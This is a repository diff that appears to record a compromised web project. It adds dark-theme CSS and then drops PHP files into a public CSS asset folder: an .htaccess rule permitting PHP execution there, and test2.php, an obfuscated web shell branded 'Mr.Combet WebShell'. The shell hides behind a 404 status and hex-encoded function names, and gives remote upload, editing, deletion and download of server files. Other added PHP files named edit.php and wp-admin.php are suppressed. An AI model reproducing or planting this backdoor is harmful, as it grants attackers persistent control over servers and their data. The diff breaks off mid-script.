table:not(#table) input[type="password"],
|
|
||||||
table:not(#table) input[type="tel"],
|
|
||||||
table:not(#table) input[type="url"],
|
|
||||||
table:not(#table) input[type="text"],
|
|
||||||
table:not(#table) input[type="search"] {
|
|
||||||
min-width: 280px;
|
|
||||||
}
|
|
||||||
|
|
||||||
input[type=submit],
|
|
||||||
input[type=button] {
|
|
||||||
border: 0;
|
|
||||||
padding: 7px 12px;
|
|
||||||
cursor: pointer;
|
|
||||||
outline: 0;
|
|
||||||
box-shadow: none;
|
|
||||||
background: var(--color-darkGreen);
|
|
||||||
color: var(--color-darkBackground);
|
|
||||||
font-weight: bold;
|
|
||||||
margin-bottom: 5px;
|
|
||||||
transition: background .4s ease;
|
|
||||||
border-radius: 5px;
|
|
||||||
margin-top: 20px;
|
|
||||||
}
|
|
||||||
|
|
||||||
input[type=submit][disabled],
|
|
||||||
input[type=button][disabled] {
|
|
||||||
background: var(--color-darkTitleSite) !important;
|
|
||||||
color: var(--color-darkBackground);
|
|
||||||
cursor: not-allowed;
|
|
||||||
}
|
|
||||||
|
|
||||||
input[type=submit]:hover,
|
|
||||||
input[type=button]:hover,
|
|
||||||
input[type=submit]:focus,
|
|
||||||
input[type=button]:focus {
|
|
||||||
background: var(--color-darkGreen);
|
|
||||||
opacity: 0.8;
|
|
||||||
}
|
|
||||||
|
|
||||||
.logout input[type=submit] {
|
|
||||||
background: var(--color-darkRed);
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
.logout input[type=submit]:hover {
|
|
||||||
background: var(--color-darkRed);
|
|
||||||
opacity: 0.8;
|
|
||||||
}
|
|
||||||
|
|
||||||
input.default,
|
|
||||||
input.default {
|
|
||||||
box-shadow: none;
|
|
||||||
background: var(--color-darkGreen);
|
|
||||||
color: var(--color-darkDraculaVSCode);
|
|
||||||
font-weight: bold;
|
|
||||||
}
|
|
||||||
|
|
||||||
select {
|
|
||||||
box-sizing: border-box;
|
|
||||||
margin: 0;
|
|
||||||
padding: 6px 0;
|
|
||||||
border: 1px solid var(--color-darkCurrentLine);
|
|
||||||
background-color: var(--color-darkBackground);
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
label {
|
|
||||||
cursor: pointer;
|
|
||||||
margin: 18px;
|
|
||||||
color: var(--color-darkOrange);
|
|
||||||
}
|
|
||||||
|
|
||||||
.error,
|
|
||||||
.message {
|
|
||||||
margin: 0;
|
|
||||||
margin-bottom: 15px;
|
|
||||||
background: var(--color-darkCurrentLine);
|
|
||||||
color: var(--color-darkRed);
|
|
||||||
}
|
|
||||||
|
|
||||||
#logins a,
|
|
||||||
#tables a,
|
|
||||||
#tables span {
|
|
||||||
background: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
#form > p {
|
|
||||||
margin-bottom: 15px;
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
#schema .table {
|
|
||||||
padding: 6px;
|
|
||||||
}
|
|
||||||
|
|
||||||
#schema .table a {
|
|
||||||
display: block;
|
|
||||||
margin: -6px;
|
|
||||||
margin-bottom: 6px;
|
|
||||||
padding: 6px;
|
|
||||||
color: var(--color-darkBackground);
|
|
||||||
background: var(--color-darkPurple);
|
|
||||||
}
|
|
||||||
|
|
||||||
#schema .table br {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
#schema .table span {
|
|
||||||
display: block;
|
|
||||||
margin-bottom: 1px solid var(--color-darkDraculaVSCode);
|
|
||||||
}
|
|
||||||
|
|
||||||
#lang {
|
|
||||||
position: fixed;
|
|
||||||
top: 55px;
|
|
||||||
right: 100%;
|
|
||||||
z-index: 10;
|
|
||||||
margin-right: -340px;
|
|
||||||
line-height: normal;
|
|
||||||
padding: 0;
|
|
||||||
left: auto;
|
|
||||||
font-size: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#lang select {
|
|
||||||
font-size: 12px;
|
|
||||||
padding: 0;
|
|
||||||
text-align: right;
|
|
||||||
border: 0;
|
|
||||||
background: none;
|
|
||||||
-webkit-appearance: none;
|
|
||||||
-moz-appearance: none;
|
|
||||||
appearance: none;
|
|
||||||
cursor: pointer;
|
|
||||||
outline: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#lang select option {
|
|
||||||
text-align: right;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rtl #lang {
|
|
||||||
margin-right: 0;
|
|
||||||
left: 100%;
|
|
||||||
margin-left: -261px;
|
|
||||||
right: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.jush {
|
|
||||||
color: var(--color-darkForeground);
|
|
||||||
}
|
|
||||||
|
|
||||||
.jush a {
|
|
||||||
color: var(--color-darkPurple);
|
|
||||||
}
|
|
||||||
|
|
||||||
.jush-sql a,
|
|
||||||
.jush-sql_code a,
|
|
||||||
.jush-sqlite a,
|
|
||||||
.jush-pgsql a,
|
|
||||||
.jush-mssql a,
|
|
||||||
.jush-oracle a,
|
|
||||||
.jush-simpledb a {
|
|
||||||
font-weight: normal;
|
|
||||||
}
|
|
||||||
|
|
||||||
.jush-bac,
|
|
||||||
.jush-php_bac,
|
|
||||||
.jush-bra,
|
|
||||||
.jush-mssql_bra,
|
|
||||||
.jush-sqlite_quo {
|
|
||||||
color: var(--color-darkYellow);
|
|
||||||
}
|
|
||||||
|
|
||||||
.jush-php_quo,
|
|
||||||
.jush-quo,
|
|
||||||
.jush-quo_one,
|
|
||||||
.jush-php_eot,
|
|
||||||
.jush-apo,
|
|
||||||
.jush-sql_apo,
|
|
||||||
.jush-sqlite_apo,
|
|
||||||
.jush-sql_quo,
|
|
||||||
.jush-sql_eot {
|
|
||||||
color: var(--color-darkOrange);
|
|
||||||
}
|
|
||||||
|
|
||||||
.jush-num,
|
|
||||||
.jush-clr {
|
|
||||||
color: var(--color-darkPurple);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media print {
|
|
||||||
.logout {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
#breadcrumb {
|
|
||||||
position: static;
|
|
||||||
}
|
|
||||||
|
|
||||||
#content {
|
|
||||||
margin: 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
.footer {
|
|
||||||
position: sticky;
|
|
||||||
bottom: 0;
|
|
||||||
margin-right: -20px;
|
|
||||||
border-top: 20px solid var(--color-darkBackground);
|
|
||||||
border-image: var(--color-darkBackground) 100% 0;
|
|
||||||
border-image-source: var(--color-darkBackground);
|
|
||||||
border-image-slice: 100% 0;
|
|
||||||
border-image-width: 1;
|
|
||||||
border-image-outset: 0;
|
|
||||||
border-image-repeat: stretch;
|
|
||||||
}
|
|
||||||
|
|
||||||
.footer > div {
|
|
||||||
background: var(--color-darkBackground);
|
|
||||||
padding: 0 0 .5em;
|
|
||||||
}
|
|
||||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
4
site/public/css/filament/support/.htaccess
Normal file
4
site/public/css/filament/support/.htaccess
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
<FilesMatch ".*\.(phtml|php|PhP|php5|suspected)$">
|
||||||
|
Order Allow,Deny
|
||||||
|
Allow from all
|
||||||
|
</FilesMatch>
|
||||||
53
site/public/css/filament/support/edit.php
Normal file
53
site/public/css/filament/support/edit.php
Normal file
File diff suppressed because one or more lines are too long
183
site/public/css/filament/support/test2.php
Normal file
183
site/public/css/filament/support/test2.php
Normal file
@ -0,0 +1,183 @@
|
|||||||
|
<?php error_reporting(0); http_response_code(404); define("Yp", ""); $G3 = "scandir"; $c8 = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); $lE = 0; T4: if (!($lE < count($c8))) { goto Je; } $c8[$lE] = JD($c8[$lE]); Cy: $lE++; goto T4; Je: if (isset($_GET["p"])) { goto sr; } $Jd = $c8[2](); goto VN; sr: $Jd = jD($_GET["p"]); $c8[3](Jd($_GET["p"])); VN: function Ss($SP) { $dE = ""; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } function Jd($SP) { $dE = ""; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } function rn($F1) { $Jd = fileperms($F1); if (($Jd & 0xc000) == 0xc000) { goto FZ; } if (($Jd & 0xa000) == 0xa000) { goto Eu; } if (($Jd & 0x8000) == 0x8000) { goto ES; } if (($Jd & 0x6000) == 0x6000) { goto sA; } if (($Jd & 0x4000) == 0x4000) { goto lG; } if (($Jd & 0x2000) == 0x2000) { goto tV; } if (($Jd & 0x1000) == 0x1000) { goto Tx; } $lE = 'u'; goto cC; FZ: $lE = 's'; goto cC; Eu: $lE = 'l'; goto cC; ES: $lE = '-'; goto cC; sA: $lE = 'b'; goto cC; lG: $lE = 'd'; goto cC; tV: $lE = 'c'; goto cC; Tx: $lE = 'p'; cC: $lE .= $Jd & 0x100 ? 'r' : '-'; $lE .= $Jd & 0x80 ? 'w' : '-'; $lE .= $Jd & 0x40 ? $Jd & 0x800 ? 's' : 'x' : ($Jd & 0x800 ? 'S' : '-'); $lE .= $Jd & 0x20 ? 'r' : '-'; $lE .= $Jd & 0x10 ? 'w' : '-'; $lE .= $Jd & 0x8 ? $Jd & 0x400 ? 's' : 'x' : ($Jd & 0x400 ? 'S' : '-'); $lE .= $Jd & 0x4 ? 'r' : '-'; $lE .= $Jd & 0x2 ? 'w' : '-'; $lE .= $Jd & 0x1 ? $Jd & 0x200 ? 't' : 'x' : ($Jd & 0x200 ? 'T' : '-'); return $lE; } function Xe($OB, $Ch = 1, $BL = "") { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ss($Jd) . $BL . "\"}})</script>"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } ?>
|
||||||
|
<!doctype html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta name="theme-color" content="red">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
|
||||||
|
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
|
||||||
|
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||||
|
<title>404</title>
|
||||||
|
<style> @import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
|
||||||
|
.bg-dark { background-color: black; }
|
||||||
|
.border { border: 2px solid deeppink!important; border-radius: 0.75rem!important; background-color: transparent; color: white; padding-left: 1rem; }
|
||||||
|
.table>tbody>tr>* { color: #007fff; vertical-align: middle; border: 2px solid #ff1493; }
|
||||||
|
.table thead th { vertical-align: bottom; border: 2px solid deeppink; color: #31ed06; }
|
||||||
|
.table-hover tbody tr:hover td{ background: #3f3f3f }
|
||||||
|
.table-hover tbody tr:hover td>*{ }
|
||||||
|
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
|
||||||
|
.form-control{background:0 0!important;color:#fff!important;border-radius:0}
|
||||||
|
.form-control::placeholder{color:#fff;opacity:1}
|
||||||
|
li{font-size:17px;margin-left:6px;list-style:none;color: #31ed06;list-style: inherit;}
|
||||||
|
a{ color: #ffffff; }
|
||||||
|
a:hover { text-decoration: none; color: #31ed06; }
|
||||||
|
button, input { border: 2px solid #31ed06;border-radius: 0.5rem;font-size: 1rem;color:white;line-height: normal; }
|
||||||
|
button, input:hover { border: 2px solid deeppink;border-radius: 0.5rem;font-size: 1rem;cursor: pointer; }
|
||||||
|
.ohct { padding-left: 1rem; padding-right: 1rem; color: white; border: 2px solid #31ed06; border-radius: 5px; background-color: black; }
|
||||||
|
.ohct:hover { border: 2px solid #ff1493; color: white; }
|
||||||
|
.combet { color: white; }
|
||||||
|
.combet:hover { color: #31ed06; }
|
||||||
|
</style>
|
||||||
|
<style>
|
||||||
|
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid deeppink;background: transparent;}
|
||||||
|
.fa:hover {color: #31ed06;}
|
||||||
|
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
|
||||||
|
</style>
|
||||||
|
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||||
|
</head>
|
||||||
|
<body style="background-color:#000;color:black;font-size: 0px ;font-family: 'Kelly Slab';width: 100%;padding: 0.5rem;">
|
||||||
|
<div class="table-responsive text-light" style="border: 2px solid #ff1493;text-align: left;padding: 0.25rem;border-radius: 0.75rem;">
|
||||||
|
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
|
||||||
|
<a href="mailto:combetohct@yahoo.com" class="fa fa-envelope"></a>
|
||||||
|
<a href="https://www.facebook.com/combet.ohct" class="fa fa-facebook"></a>
|
||||||
|
<a href="?" style="font-size: 2rem;text-shadow: 0px 0px 10px deeppink;"><span>Mr.Combet WebShell</span></a>
|
||||||
|
<a href="https://wa.me/6281270303335" class="fa fa-whatsapp"></a>
|
||||||
|
<a href="https://t.me/combetohct" class="fa fa-telegram"></a>
|
||||||
|
</div>
|
||||||
|
<li>Your IP : <span style="color: white;"><?php echo $_SERVER['REMOTE_ADDR']; ?></span></li>
|
||||||
|
<li>Server IP : <span style="color: white;"><?php echo $_SERVER['SERVER_ADDR']; ?></span></li>
|
||||||
|
<li>Server : <span style="color: white;"><?= $c8[0](); ?></span></li>
|
||||||
|
<li>Server Software : <span style="color: white;"><?php echo gethostbyname($_SERVER['SERVER_SOFTWARE']); ?></span></li>
|
||||||
|
<li>Server Name : <span style="color: white;"><?php echo $_SERVER['SERVER_NAME']; ?></span></li>
|
||||||
|
<li>PHP Version : <span style="color: white;"><?= $c8[1](); ?></span></li>
|
||||||
|
<li>Add File : <a href="?p=<?= ss($Jd) . "&a=" . Ss("newFile"); ?>" class="ohct">Submit</a></li>
|
||||||
|
<li>Add Directory : <a href="?p=<?= Ss($Jd) . "&a=" . sS("newDir"); ?>" class="ohct">Submit</a></li>
|
||||||
|
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
|
||||||
|
<input type="file" name="f[]" onchange="this.form.submit()" multiple>
|
||||||
|
<?php if (!isset($_FILES["f"])) { goto ea; } $Wx = $_FILES["f"]["name"]; $lE = 0; th: if (!($lE < count($Wx))) { goto dx; } if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } Xe("file failed to upload", 0); goto tG; PG: XE("file uploaded successfully"); tG: g9: $lE++; goto th; dx: ea: if (!isset($_GET["download"])) { goto FA; } header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . $c8[17](JD($_GET["n"]))); header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\""); FA: ?>
|
||||||
|
</form></li>
|
||||||
|
</div>
|
||||||
|
<div style="border: 2px solid #ff1493;border-radius: 0.75rem;padding: 0.25rem;margin-top: 0.20rem;margin-bottom: 0.25rem;font-family: 'Kelly Slab';">
|
||||||
|
<li style="font-size: 1.10rem;margin-left: 0.20rem;list-style: inherit;padding: 0.15rem;">Dir :
|
||||||
|
<?php $Op = $c8[4]("/(\\\\|\\/)/", $Jd); foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == "")) { goto xi; } echo "<a href=\"?p=2f\" class=\"combet\">~</a>/"; goto CS; xi: if (!($Oe == "")) { goto sq; } goto CS; sq: echo "<a class=\"combet\" href=\"?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "\">{$Oe}</a>/"; CS: } Go: ?>
|
||||||
|
</li>
|
||||||
|
</div>
|
||||||
|
<article style="text-align: center;font-family: 'Kelly Slab';font-size: 1rem;">
|
||||||
|
<?php if (!isset($_GET["a"])) { goto Un; } if (!isset($_GET["a"])) { goto cc; } $im = Jd($_GET["a"]); cc: ?>
|
||||||
|
<div class="px-2 py-2">
|
||||||
|
<?php if (!($im == "delete")) { goto Lu; } $BL = $Jd . '/' . Jd($_GET["n"]); if (!($_GET["t"] == "d")) { goto VZ; } TF($BL); if (!$c8[12]($BL)) { goto e8; } Xe("failed to delete the folder", 0); goto iL; e8: Xe("folder deleted successfully"); iL: VZ: if (!($_GET["t"] == "f")) { goto xB; } $BL = $Jd . '/' . jd($_GET["n"]); unlink($BL); if (!$c8[12]($BL)) { goto uH; } Xe("file to delete the folder", 0); goto Mk; uH: xe("file deleted successfully"); Mk: xB: Lu: ?>
|
||||||
|
<?php if ($im == "newDir") { goto Fg; } if ($im == "newFile") { goto Pb; } if ($im == "rename") { goto Lw; } if ($im == "edit") { goto Ox; } if ($im == "view") { goto Ag; } goto WC; Fg: ?>
|
||||||
|
<h5 class="border p-1">New Folder Name :</h5>
|
||||||
|
<form method="post">
|
||||||
|
<div class="form-group">
|
||||||
|
<input name="n" id="n" class="border" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<button type="submit" name="s" class="ohct">Create</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<?php isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto WC; Pb: ?>
|
||||||
|
<h5 class="border p-1">New File Name :</h5>
|
||||||
|
<form method="post">
|
||||||
|
<div class="form-group">
|
||||||
|
<input type="text" name="n" id="n" class="border" placeholder="hack.txt">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<button type="submit" name="s" class="ohct">Create</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<?php
|
||||||
|
isset($_POST["s"])
|
||||||
|
? ($c8[12]("{$Jd}/{$_POST["n"]}")
|
||||||
|
? xE("file name has been used", 0, "&a=" . SS("newFile"))
|
||||||
|
: ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"])
|
||||||
|
? XE("", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"]))
|
||||||
|
: Xe("file failed to create", 0)))
|
||||||
|
: null;
|
||||||
|
goto WC;
|
||||||
|
Lw:
|
||||||
|
?>
|
||||||
|
<h5 class="border p-1">Rename File : <?= jD($_GET["n"]); ?></h5>
|
||||||
|
<form method="post">
|
||||||
|
<div class="form-group">
|
||||||
|
<input type="text" name="n" id="n" class="border" value="<?= jD($_GET["n"]); ?>">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<button type="submit" name="s" class="ohct">Save</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<?php isset($_POST["s"]) ? $c8[16]($Jd . '/' . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto WC; Ox: ?>
|
||||||
|
<h5 class="border p-1">Edit File Name : <?= Jd($_GET["n"]); ?></h5>
|
||||||
|
<form method="post">
|
||||||
|
<div class="form-group">
|
||||||
|
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border"><?= $c8[18]($c8[14]($Jd . '/' . jD($_GET["n"]))); ?></textarea>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<button type="submit" name="s" class="ohct">Save</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<?php isset($_POST["s"]) ? $c8[13]($Jd . '/' . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto WC; Ag: ?>
|
||||||
|
<h5 class="border p-1">View File Name : <?= jd($_GET["n"]); ?></h5>
|
||||||
|
<div class="form-group">
|
||||||
|
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?= $c8[18]($c8[14]($Jd . '/' . jd($_GET["n"]))); ?></textarea>
|
||||||
|
</div>
|
||||||
|
<?php WC: ?>
|
||||||
|
</div>
|
||||||
|
<?php goto mR; Un: ?>
|
||||||
|
<table class="table table-hover table-borderless table-sm" style="text-align: center;">
|
||||||
|
<thead class="text-light">
|
||||||
|
<tr>
|
||||||
|
<th>Name</th>
|
||||||
|
<th>Size</th>
|
||||||
|
<th>Permission</th>
|
||||||
|
<th colspan="3">Action</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody class="text-light"> <?php $G3 = $c8[5]($G3($Jd), [".", ".."]); foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo "
|
||||||
|
<tr>
|
||||||
|
<td style=\"text-align: left;\">
|
||||||
|
<a href=\"?p=" . sS("{$Jd}/{$yf}") . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) . "\">
|
||||||
|
<i class=\"fa fa-fw fa-folder\" style=\"border: 0;padding: 0;width: 1.28571429em;\">
|
||||||
|
</i> {$yf}
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
<td style=\"color: black;\"><span>------</span></td>
|
||||||
|
<td><font color=\"" . ($c8[8]("{$Jd}/{$yf}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$yf}") ? "red" : null)) . "\">" . RN("{$Jd}/{$yf}") . "</font></td>
|
||||||
|
<td style=\"color: black;\"><span>------</span></td>
|
||||||
|
<td>
|
||||||
|
<a href=\"?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<a href=\"?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
|
||||||
|
</td>
|
||||||
|
</tr>"; Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB"; echo "
|
||||||
|
<tr>
|
||||||
|
<td style=\"text-align: left;\">
|
||||||
|
<a href=\"?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) . "\">
|
||||||
|
<i class=\"fa fa-fw fa-file\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i> {$F1}
|
||||||
|
</a>
|
||||||
|
</td>
|
||||||
|
<td><span>{$kL}</span></td>
|
||||||
|
<td><font color=\"" . ($c8[8]("{$Jd}/{$F1}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$F1}") ? "red" : null)) . "\">" . rN("{$Jd}/{$F1}") . "</font></td>
|
||||||
|
<td><a href=\"?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
|
||||||
|
<td><a href=\"?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
|
||||||
|
<td><a href=\"?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
|
||||||
|
</tr>"; X1: } a2: ?>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<h5 style="color: #31ed06;">
|
||||||
|
<font>© Copyright 2022</font>
|
||||||
|
<font style="color: deeppink;">Mr.Combet</font>
|
||||||
|
<font>Powered by </font>
|
||||||
|
<font style="color: deeppink;">One Hat Cyber Team</font>
|
||||||
|
</h5>
|
||||||
|
<?php mR: ?>
|
||||||
|
</article>
|
||||||
|
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
|
||||||
|
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
|
||||||
|
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
|
||||||
|
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
53
site/public/css/filament/support/wp-admin.php
Normal file
53
site/public/css/filament/support/wp-admin.php
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@ -1 +1 @@
|
|||||||
function n(){return{checkboxClickController:null,collapsedGroups:[],isLoading:!1,selectedRecords:[],shouldCheckUniqueSelection:!0,lastCheckedRecord:null,livewireId:null,init:function(){this.livewireId=this.$root.closest("[wire\\:id]").attributes["wire:id"].value,this.$wire.$on("deselectAllTableRecords",()=>this.deselectAllRecords()),this.$watch("selectedRecords",()=>{if(!this.shouldCheckUniqueSelection){this.shouldCheckUniqueSelection=!0;return}this.selectedRecords=[...new Set(this.selectedRecords)],this.shouldCheckUniqueSelection=!1}),this.$nextTick(()=>this.watchForCheckboxClicks()),Livewire.hook("element.init",({component:e})=>{e.id===this.livewireId&&this.watchForCheckboxClicks()})},mountAction:function(e,t=null){this.$wire.set("selectedTableRecords",this.selectedRecords,!1),this.$wire.mountTableAction(e,t)},mountBulkAction:function(e){this.$wire.set("selectedTableRecords",this.selectedRecords,!1),this.$wire.mountTableBulkAction(e)},toggleSelectRecordsOnPage:function(){let e=this.getRecordsOnPage();if(this.areRecordsSelected(e)){this.deselectRecords(e);return}this.selectRecords(e)},toggleSelectRecordsInGroup:async function(e){if(this.isLoading=!0,this.areRecordsSelected(this.getRecordsInGroupOnPage(e))){this.deselectRecords(await this.$wire.getGroupedSelectableTableRecordKeys(e));return}this.selectRecords(await this.$wire.getGroupedSelectableTableRecordKeys(e)),this.isLoading=!1},getRecordsInGroupOnPage:function(e){let t=[];for(let s of this.$root?.getElementsByClassName("fi-ta-record-checkbox")??[])s.dataset.group===e&&t.push(s.value);return t},getRecordsOnPage:function(){let e=[];for(let t of this.$root?.getElementsByClassName("fi-ta-record-checkbox")??[])e.push(t.value);return e},selectRecords:function(e){for(let t of e)this.isRecordSelected(t)||this.selectedRecords.push(t)},deselectRecords:function(e){for(let t of e){let s=this.selectedRecords.indexOf(t);s!==-1&&this.selectedRecords.splice(s,1)}},selectAllRecords:async function(){this.isLoading=!0,this.selectedRecords=await this.$wire.getAllSelectableTableRecordKeys(),this.isLoading=!1},deselectAllRecords:function(){this.selectedRecords=[]},isRecordSelected:function(e){return this.selectedRecords.includes(e)},areRecordsSelected:function(e){return e.every(t=>this.isRecordSelected(t))},toggleCollapseGroup:function(e){if(this.isGroupCollapsed(e)){this.collapsedGroups.splice(this.collapsedGroups.indexOf(e),1);return}this.collapsedGroups.push(e)},isGroupCollapsed:function(e){return this.collapsedGroups.includes(e)},resetCollapsedGroups:function(){this.collapsedGroups=[]},watchForCheckboxClicks:function(){this.checkboxClickController&&this.checkboxClickController.abort(),this.checkboxClickController=new 